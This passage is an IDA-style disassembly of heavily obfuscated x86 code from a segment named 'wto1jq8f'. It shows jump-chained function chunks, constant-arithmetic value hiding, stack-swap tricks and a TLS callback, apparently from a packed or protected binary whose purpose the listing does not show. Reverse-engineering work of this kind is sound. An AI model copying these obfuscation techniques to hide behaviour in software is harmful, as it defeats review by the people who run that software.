loc_42B535: ; CODE XREF: sub_42DDE6:loc_42EF69j add edx, 22DADF68h xchg edx, [esp+0] jmp loc_426388 ; END OF FUNCTION CHUNK FOR sub_42DDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B543: ; CODE XREF: sub_426E98:loc_429C4Fj ; sub_42ACD6:loc_42E5F5j inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch jmp loc_42DFA7 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42B55A: ; CODE XREF: sub_42F25F+Ej jnz loc_428730 jmp loc_42E691 ; END OF FUNCTION CHUNK FOR sub_42F25F ; =============== S U B R O U T I N E ======================================= sub_42B565 proc near ; CODE XREF: wto1jq8f:00428EAAp ; wto1jq8f:0042B8D3j xchg esi, [esp+0] pop esi add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] cmp eax, [ebp-14h] jmp loc_424522 sub_42B565 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B57F: ; CODE XREF: wto1jq8f:00425D30j jmp locret_4248CC ; --------------------------------------------------------------------------- loc_42B584: ; DATA XREF: sub_42D789:loc_425BE9o jb loc_426DB6 cmp byte ptr [ebp-5], 0 jnz loc_42EF2E jmp loc_429DE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42B599: ; CODE XREF: sub_4284EC-365Ej pop eax sub eax, 0B2549B7Ch add eax, 9EEE554Ah loc_42B5A6: ; CODE XREF: wto1jq8f:0042B14Bj popf xchg eax, [esp+0] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42B5AF: ; CODE XREF: sub_426968:loc_42FB2Aj mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_4264A3 ; --------------------------------------------------------------------------- loc_42B5BE: ; CODE XREF: sub_426968:loc_42779Dj mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_42C538 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42B5C9 proc near ; CODE XREF: wto1jq8f:0042404Cj ; sub_425C5F+Ap mov [esp+0], edi pop edi loc_42B5CD: ; CODE XREF: wto1jq8f:loc_427B37j add edx, ebx push offset loc_425F79 jmp nullsub_50 sub_42B5C9 endp ; =============== S U B R O U T I N E ======================================= sub_42B5D9 proc near ; CODE XREF: sub_425E35+2415p ; wto1jq8f:0042B23Fj xchg edx, [esp+0] pop edx mov eax, ebx jmp loc_42F9B6 sub_42B5D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B5E4 proc near ; CODE XREF: sub_426461+Ap ; sub_426E98:loc_426F10p ... ; FUNCTION CHUNK AT 00428AFA SIZE 00000006 BYTES mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] jmp loc_428AFA sub_42B5E4 endp ; --------------------------------------------------------------------------- loc_42B5F0: ; CODE XREF: wto1jq8f:0042636Aj ja loc_42F77A ; =============== S U B R O U T I N E ======================================= sub_42B5F6 proc near ; CODE XREF: sub_42FED8-41Ap arg_4 = dword ptr 8 mov [esp+0], edi pop edi add esi, 70DB461Bh loc_42B600: ; CODE XREF: wto1jq8f:0042F3D0j popf xchg esi, [esp-8+arg_4] jmp sub_42F185 sub_42B5F6 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42B60A: ; CODE XREF: wto1jq8f:00425D45j ; sub_429471:loc_42B18Aj jmp loc_42CD28 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42B60F: ; DATA XREF: sub_42A14D-426Eo push 400h mov eax, [ebp-8] push offset sub_425EB9 jmp locret_42D657 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427752 loc_42B621: ; CODE XREF: sub_427752+Bj pop ecx and ecx, 0D7E2172Dh xor ecx, 3243E421h add ecx, 0CBA0DCA8h xchg ecx, [esp+0] jmp sub_42B855 ; END OF FUNCTION CHUNK FOR sub_427752 ; =============== S U B R O U T I N E ======================================= sub_42B63C proc near ; CODE XREF: wto1jq8f:0042686Bj ; sub_42F2C7-6078p ; FUNCTION CHUNK AT 0042D024 SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx push 0BDBDEA17h pop ebx sub ebx, 0D689645Fh and ebx, 1E8E921Dh xor ebx, 0E89832AEh jmp loc_42D024 sub_42B63C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B65D: ; CODE XREF: sub_426E98:loc_426EC4j mov eax, [ebp-1Ch] mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax call sub_42D9D9 loc_42B66F: ; DATA XREF: sub_42658A+51F4o add eax, ebp add eax, 3AAD3D5Ah mov eax, [eax] push 0F707A16Ch mov [esp+24h+var_24], eax call sub_42DFE5 lea eax, [ebp-0Ch] jmp loc_42E878 ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_42B68E proc near ; CODE XREF: sub_42826A+4j ; FUNCTION CHUNK AT 00428EFF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042902C SIZE 0000000E BYTES add esp, 0FFFFFFE0h jmp loc_428EFF sub_42B68E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42B696: ; CODE XREF: sub_42F2C7-2820j not eax loc_42B698: ; CODE XREF: sub_42F2C7:loc_42BF18j call sub_4262F5 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; START OF FUNCTION CHUNK FOR sub_426950 loc_42B69D: ; CODE XREF: sub_426950:loc_4281A6j mov esi, 8FED14A3h popf jmp loc_427D8B ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42B6A8: ; CODE XREF: sub_428C71:loc_42CD71j push 0AAB38A23h pop eax add eax, 4410EB76h xor eax, 5FD48CA3h jmp loc_42F3C0 ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- pop ebx pop ecx mov ebp, offset loc_428B27 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- call sub_42FF7F ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42B6CF: ; CODE XREF: sub_429F7D:loc_42422Cj ; sub_42A909+3E21j jmp loc_42B515 ; END OF FUNCTION CHUNK FOR sub_429F7D ; --------------------------------------------------------------------------- call nullsub_246 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_424B9B push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi jmp loc_42BF30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42B6F9: ; CODE XREF: sub_42506F:loc_42DFE0j shr edx, 2 not eax test edi, ecx jmp loc_42B424 ; END OF FUNCTION CHUNK FOR sub_42506F ; =============== S U B R O U T I N E ======================================= sub_42B705 proc near ; CODE XREF: sub_429471-11EDj ; sub_42BE7E-B6Fp ; FUNCTION CHUNK AT 004242EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426C60 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi jz loc_426C60 push ebp mov eax, [ebp-20h] call sub_4242F8 push offset loc_42C085 jmp nullsub_51 sub_42B705 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B722: ; CODE XREF: wto1jq8f:00425EA3j jz loc_42CD44 jmp loc_424B3D ; --------------------------------------------------------------------------- mov eax, ebx jmp sub_42C423 ; --------------------------------------------------------------------------- jnz loc_427834 push ecx mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_424294 jmp loc_42A84E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42B752: ; CODE XREF: sub_42E9E8-8D8Ej jnz loc_428E5F jmp loc_42A72A ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424859 loc_42B75D: ; CODE XREF: sub_424859:loc_42DAEDj mov ebp, esp push ebx push offset loc_42DA69 jmp loc_42FAA9 ; END OF FUNCTION CHUNK FOR sub_424859 ; --------------------------------------------------------------------------- loc_42B76A: ; CODE XREF: wto1jq8f:00429DE4j mov [edx], ebx ja loc_42C3B2 ; START OF FUNCTION CHUNK FOR sub_42658A loc_42B772: ; CODE XREF: sub_42658A+3841j xor eax, 0D3DA3951h add eax, 0F38A3EC7h push offset loc_42B66F jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_42658A ; --------------------------------------------------------------------------- popf adc edx, ebx jmp sub_42AEDD ; --------------------------------------------------------------------------- loc_42B790: ; DATA XREF: sub_42F3E7-5168o mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E369 loc_42B79A: ; CODE XREF: sub_42E369+19j jmp nullsub_201 ; END OF FUNCTION CHUNK FOR sub_42E369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F3E7 loc_42B79F: ; CODE XREF: sub_42F3E7j call sub_4272F3 pushf mov [esp+4+var_4], ecx jmp near ptr dword_425514+3FCh ; END OF FUNCTION CHUNK FOR sub_42F3E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42B7AD: ; CODE XREF: sub_42506F+180Dj push offset sub_429B76 jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_42506F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B7B8: ; DATA XREF: sub_42C0DF:loc_42625Co add eax, 7418C957h xchg eax, [esp] jmp sub_42D765 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE65 loc_42B7C6: ; CODE XREF: sub_42D35A:loc_42DAA4j ; sub_42DE65+7j js loc_42BA12 mov eax, [ebp-4] movzx eax, byte ptr [eax] call sub_4244EA loc_42B7D7: ; CODE XREF: sub_425CE2+5D60j jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_42DE65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42B7DC: ; CODE XREF: sub_426968-4B9j jnz loc_42DFB1 mov eax, [ebp-8] shl eax, 3 add [ebp-8], eax jmp loc_426052 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_42B7F0: ; CODE XREF: sub_42ED01:loc_42DFF7j jnz loc_42D0CE jmp loc_4274AE ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- pushf shl esi, 1Ch jmp sub_42621A ; --------------------------------------------------------------------------- loc_42B804: ; DATA XREF: sub_42DA92-69DCo xchg ebp, [esp] mov eax, ebp pop ebp or eax, 937D3376h xor eax, 5E116E99h add eax, 56567B0Eh mov eax, [eax] jmp loc_429436 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42B823: ; CODE XREF: sub_42628C+15j mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_42CF73 call sub_42CF6A loc_42B836: ; CODE XREF: wto1jq8f:00426678j jmp sub_4293C8 ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42B83B: ; CODE XREF: sub_42EFB5-921Dj jmp loc_426E5D ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; =============== S U B R O U T I N E ======================================= sub_42B840 proc near ; DATA XREF: sub_42C6C3-384Do ; FUNCTION CHUNK AT 0042AD51 SIZE 00000005 BYTES pop ecx mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425F84 jmp loc_42AD51 sub_42B840 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B855 proc near ; CODE XREF: sub_427752+3EE5j ; sub_42C6C3+9p ; FUNCTION CHUNK AT 0042E63A SIZE 00000005 BYTES jnb sub_424F7A jmp loc_42E63A sub_42B855 endp ; --------------------------------------------------------------------------- loc_42B860: ; CODE XREF: wto1jq8f:0042ECD2j call sub_42B866 retn ; =============== S U B R O U T I N E ======================================= sub_42B866 proc near ; CODE XREF: sub_42A909:loc_428EBCp ; wto1jq8f:loc_42B860p ... ; FUNCTION CHUNK AT 0042DB01 SIZE 00000005 BYTES xchg ebp, ecx push offset sub_4294C7 jmp loc_42DB01 sub_42B866 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42B872: ; CODE XREF: sub_42A909-F87j xchg ebp, [eax] loc_42B874: ; CODE XREF: sub_42A909+5668j add eax, 0ADF4A478h xchg eax, [esp+8+var_8] jmp loc_42ABB9 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_42B882: ; CODE XREF: wto1jq8f:00428049j jz loc_42E456 jmp loc_424854 ; --------------------------------------------------------------------------- shl edi, 1Bh jmp sub_42F745 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42B895: ; CODE XREF: sub_427143+Aj call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_4261EE ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_42B8A6: ; CODE XREF: sub_42D789:loc_42D78Ej cmp byte ptr [ebp-5], 0 jnz loc_425BE9 jmp loc_4277E9 ; END OF FUNCTION CHUNK FOR sub_42D789 ; --------------------------------------------------------------------------- loc_42B8B5: ; CODE XREF: wto1jq8f:00429027j jnz loc_42AFFB ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42B8BB: ; CODE XREF: sub_4260DB+12j sub eax, 0CA36F370h call sub_429AE8 not ecx jmp sub_42A4FA ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- adc edi, 6A09DC6Ah jmp sub_42B565 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B05 loc_42B8D9: ; CODE XREF: sub_428B05+F5Ej jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_428B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873E loc_42B8DE: ; CODE XREF: sub_42873E+12j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_42873E ; =============== S U B R O U T I N E ======================================= sub_42B8E3 proc near ; DATA XREF: sub_42C486+2C6Eo ; FUNCTION CHUNK AT 0042BBB4 SIZE 00000005 BYTES xchg esi, [esp+0] jmp loc_42BBB4 sub_42B8E3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42B8EB: ; CODE XREF: sub_424D3A:loc_42C9C4j jge loc_42B412 sbb esi, 1F95914Bh jmp loc_42B406 ; END OF FUNCTION CHUNK FOR sub_424D3A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8FC proc near ; CODE XREF: sub_429B76-1FCDp ; wto1jq8f:loc_429588j ; FUNCTION CHUNK AT 004248AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B88 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427295 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042739D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042808C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004291B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A92C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C129 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D0FF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E577 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EE74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD8C SIZE 0000001A BYTES push ebp mov ebp, esp loc_42B8FF: ; CODE XREF: wto1jq8f:0042BDEBj xchg ecx, esi push esi xchg ecx, esi jmp loc_42EE74 sub_42B8FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B909 proc near ; DATA XREF: wto1jq8f:00425D2Bo add edi, 0FB79B202h xchg edi, [esp+0] jmp sub_429165 sub_42B909 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D120 loc_42B917: ; CODE XREF: sub_42D120:loc_42DD4Fj jz loc_42D28E jmp loc_4274C8 ; END OF FUNCTION CHUNK FOR sub_42D120 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42B922: ; CODE XREF: sub_42B276+2652j xchg esi, [esp+0] mov ecx, esi pop esi pop eax pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- loc_42B92F: ; CODE XREF: sub_42B276+2641j call sub_42B990 loc_42B934: ; CODE XREF: sub_426144+9738j jmp loc_42A307 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- loc_42B939: ; CODE XREF: wto1jq8f:0042F40Ej ror eax, 6 xor edx, edi sbb ebx, 0FF103CD5h loc_42B944: ; CODE XREF: wto1jq8f:loc_42F402j add eax, 0F412D491h xchg eax, [esp] jmp loc_426B2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42B952: ; CODE XREF: sub_42E9E8-A7Fj jz loc_42834C jmp loc_42D7AE ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- test ebp, ebx jmp loc_42C0F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42B964: ; CODE XREF: sub_427143-11CFj mov ds:dword_42E534, eax ; END OF FUNCTION CHUNK FOR sub_427143 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F81B loc_42B96B: ; CODE XREF: sub_42F81B-8C75j ; wto1jq8f:004289AFj call sub_424F83 ; END OF FUNCTION CHUNK FOR sub_42F81B ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42B970: ; CODE XREF: sub_426D4F+805Aj jmp loc_42B00D ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E50 loc_42B975: ; CODE XREF: sub_427E50-BE4j jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_427E50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426719 loc_42B97A: ; CODE XREF: sub_426719-770j jmp loc_424DDD ; END OF FUNCTION CHUNK FOR sub_426719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42B97F: ; CODE XREF: sub_4244EA+6000j jz loc_42DB92 jmp loc_42C4CA ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- loc_42B98A: ; CODE XREF: wto1jq8f:0042464Bj jns loc_42852B ; =============== S U B R O U T I N E ======================================= sub_42B990 proc near ; CODE XREF: sub_42B276:loc_42B92Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042C8C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8E9 SIZE 0000000F BYTES xchg edx, [esp+0] pop edx rol edx, 5 jmp loc_42C8C1 sub_42B990 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42B99D: ; CODE XREF: sub_429BFF+14j jnz loc_42D636 jmp loc_42BC75 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B9A8: ; CODE XREF: sub_426E98:loc_425F1Cj add eax, ebp push offset sub_42D953 jmp nullsub_232 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42B9B4: ; CODE XREF: sub_429BD3:loc_427D21j jnz loc_42D802 jmp loc_428A41 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B9BF: ; CODE XREF: sub_426E98+1C7Dj sbb edi, esi loc_42B9C1: ; CODE XREF: sub_426E98:loc_426FA3j call sub_42A4FA loc_42B9C6: ; CODE XREF: wto1jq8f:0042DD5Ej jmp loc_429768 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- adc ebp, 0D45EFA9h jmp sub_42F575 ; --------------------------------------------------------------------------- mov ds:dword_429558, eax call sub_4281DD push edx push offset loc_429A7A jmp locret_4278CB ; --------------------------------------------------------------------------- pop esi jmp sub_42E785 ; --------------------------------------------------------------------------- rol ebx, 1Fh jmp sub_42AF82 ; --------------------------------------------------------------------------- xchg edx, ecx jmp sub_42F59F ; --------------------------------------------------------------------------- locret_42BA00: ; CODE XREF: wto1jq8f:00425093j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42BA01: ; CODE XREF: sub_4244EA+15j cmp byte ptr [eax], 0CFh jz loc_427CC2 mov eax, [ebp-4] jmp loc_42AA49 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE65 loc_42BA12: ; CODE XREF: sub_42DE65:loc_42B7C6j push offset loc_426881 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_42DE65 ; --------------------------------------------------------------------------- loc_42BA1C: ; DATA XREF: sub_427A9E-2E5Co mov edx, 0A22F8A70h call sub_426C04 mov ds:dword_42591C, eax call sub_424585 ; START OF FUNCTION CHUNK FOR sub_4262CE loc_42BA30: ; CODE XREF: sub_4262CE+4B48j mov edx, 0A2CD59D9h jmp loc_426BE5 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42BA3A: ; CODE XREF: sub_425CE2+7A08j shl eax, 2 push offset sub_425CE2 jmp loc_42B7D7 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42BA47: ; DATA XREF: sub_429F7D:loc_424487o jz loc_425FD1 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425FD1 jmp loc_42F207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42BA5E: ; CODE XREF: sub_426E98:loc_42BAAAj call sub_42B5E4 jnz loc_42EF03 loc_42BA69: ; CODE XREF: wto1jq8f:0042E191j mov ecx, [ebx+edx-4] or ecx, ecx jmp loc_42E09A ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42BA74: ; CODE XREF: sub_42BE69:loc_42E5D7j jz loc_42DBE9 jmp loc_429054 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42BA7F: ; CODE XREF: TlsCallback_0+21DCj push eax push 0D4256386h pop eax add eax, 2C1D9585h push offset loc_426500 jmp nullsub_58 ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- loc_42BA96: ; CODE XREF: wto1jq8f:0042BD67j lea eax, [ebp-14h] push eax call sub_42B02D ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42BA9F: ; CODE XREF: sub_42A8ED+2AA5j mov ds:dword_42FB44, eax jmp loc_42D12E ; END OF FUNCTION CHUNK FOR sub_42A8ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42BAAA: ; CODE XREF: sub_426E98+DB4j jmp loc_42BA5E ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- not edi jmp loc_425B55 ; --------------------------------------------------------------------------- push 99FC4D8Dh jmp sub_42D5BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42BAC0: ; CODE XREF: sub_42E337+Ej pop eax or eax, 0B6C254A4h rol eax, 1Ah add eax, 61676949h jmp loc_42AE54 ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- test ebp, 302ACE52h jmp loc_42C043 ; --------------------------------------------------------------------------- loc_42BAE0: ; CODE XREF: wto1jq8f:0042FEB3j movzx edx, byte ptr [ecx+edx] and eax, edx jz loc_42BBA1 jmp loc_42E89F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D397 loc_42BAF1: ; CODE XREF: sub_42D397:loc_4240D7j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_425920, 0 push offset loc_42BD54 jmp loc_42C62E ; END OF FUNCTION CHUNK FOR sub_42D397 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5C4 loc_42BB08: ; CODE XREF: sub_42A5C4+Cj jmp loc_42ABB1 ; END OF FUNCTION CHUNK FOR sub_42A5C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_42BB0D: ; CODE XREF: sub_426950+1B3Fj jmp loc_4248CD ; END OF FUNCTION CHUNK FOR sub_426950 ; =============== S U B R O U T I N E ======================================= sub_42BB12 proc near ; CODE XREF: sub_42FB2F:loc_42EFF0p ; FUNCTION CHUNK AT 0042F163 SIZE 00000005 BYTES call sub_42AF82 loc_42BB17: ; DATA XREF: sub_42B02D-2217o mov eax, [eax] mov ds:dword_42FB5C, eax xor eax, eax mov ds:dword_42FB50, eax jmp loc_42F163 sub_42BB12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB2A proc near ; CODE XREF: sub_42B02Dj ; FUNCTION CHUNK AT 0042B4AD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042F01F SIZE 0000001E BYTES push ebp mov ebp, esp push ecx jmp loc_42F01F sub_42BB2A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DBE loc_42BB33: ; CODE XREF: sub_428DBE:loc_42A0A7j lea edx, [ebp-14h] mov eax, offset dword_42DAF4 call sub_42A56D lea eax, [ebp-14h] push eax push offset loc_42CB0D jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_428DBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42BB4E: ; CODE XREF: sub_42F614-A79Ej pop ebx sbb esi, ebp cmp edi, edx jmp loc_425D61 ; END OF FUNCTION CHUNK FOR sub_42F614 ; =============== S U B R O U T I N E ======================================= sub_42BB58 proc near ; CODE XREF: wto1jq8f:004241DAj ; sub_42506F:loc_429FCBp ; FUNCTION CHUNK AT 004274B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1F9 SIZE 00000009 BYTES mov [esp+0], esi pop esi push ecx pushf push 52E1A398h pop ecx sub ecx, 0E885AE69h add ecx, 95E69163h jmp loc_42A1F9 sub_42BB58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB75 proc near ; DATA XREF: sub_42D877+1o ; FUNCTION CHUNK AT 004240ED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042AFC8 SIZE 00000005 BYTES mov [esp+0], ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42AFC8 sub_42BB75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429318 loc_42BB82: ; CODE XREF: sub_429318:loc_4284CFj xchg ebx, [esp+4+var_4] jmp sub_42DFE5 ; END OF FUNCTION CHUNK FOR sub_429318 ; =============== S U B R O U T I N E ======================================= sub_42BB8A proc near ; DATA XREF: sub_426968-494o ; FUNCTION CHUNK AT 00427723 SIZE 00000005 BYTES mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_427723 sub_42BB8A endp ; --------------------------------------------------------------------------- loc_42BB9B: ; CODE XREF: wto1jq8f:0042FCCCj jz nullsub_194 ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42BBA1: ; CODE XREF: wto1jq8f:0042BAE6j ; sub_42C486:loc_42D088j ... push 552BFD27h add ecx, eax jmp loc_42DBF4 ; END OF FUNCTION CHUNK FOR sub_42C486 ; 